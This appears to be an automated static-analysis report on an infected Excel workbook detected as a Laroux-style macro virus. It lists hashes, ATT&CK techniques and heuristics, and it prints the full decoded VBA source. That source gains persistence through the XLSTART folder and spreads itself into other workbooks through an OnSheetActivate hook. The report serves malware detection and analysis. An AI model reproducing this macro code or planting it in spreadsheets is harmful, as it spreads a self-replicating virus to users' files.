Xls.Virus.Valyria-10007756-0 — Office (OLE) / .XLS malware analysis

Static analysis result for SHA-256 ef86399d95a4a3b1…

MALICIOUS

Office (OLE) / .XLS

1.59 MB Created: 2023-02-15 05:05:55 Authoring application: Microsoft Excel First seen: 2026-06-06
MD5: 79856aa0974c97a089d37d42b7d10e70 SHA-1: 29fe9b06a14ab42744d0d7aedeeb118ecbaec116 SHA-256: ef86399d95a4a3b1542ee1ea96f45bdfef80f490e066ba763d4b97b29e76ae69
230 Risk Score

Malware Insights

Xls.Virus.Valyria-10007756-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1553.005 Mark-of-the-Web Bypass

This Excel file contains a VBA macro that attempts to achieve persistence by copying itself to the Excel XLSTART startup folder as 'mypersonnel1.xls'. It also attempts to infect other workbooks by hooking the OnSheetActivate event. The embedded URL 'http://10.10.10.30/STANDARD/HMS/A311.XLS' is likely used for downloading additional payloads.

Heuristics 7

  • ClamAV: Xls.Virus.Valyria-10007756-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Virus.Valyria-10007756-0
  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    If ThisWorkbook.Path <> Application.StartupPath Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = ""
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://10.10.10.30/STANDARD/HMS/A311.XLS In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1156 bytes
SHA-256: a4b2d449430a14ec9c95d81488bffd3bb1ed2a5024d9494b59530417c2dbbe3d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kangatang"


Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel1.xls"
Application.DisplayAlerts = Triue
Application.EnableEvents = True
Application.ScreenUpdating = True
Application.DisplayStatusBar = True


On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel1.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel1.xls!allocated"
End Sub



Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).name <> "Kangatang" Then
    Application.ScreenUpdating = True
    Application.DisplayStatusBar = True
    currentsh = ActiveSheet.name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.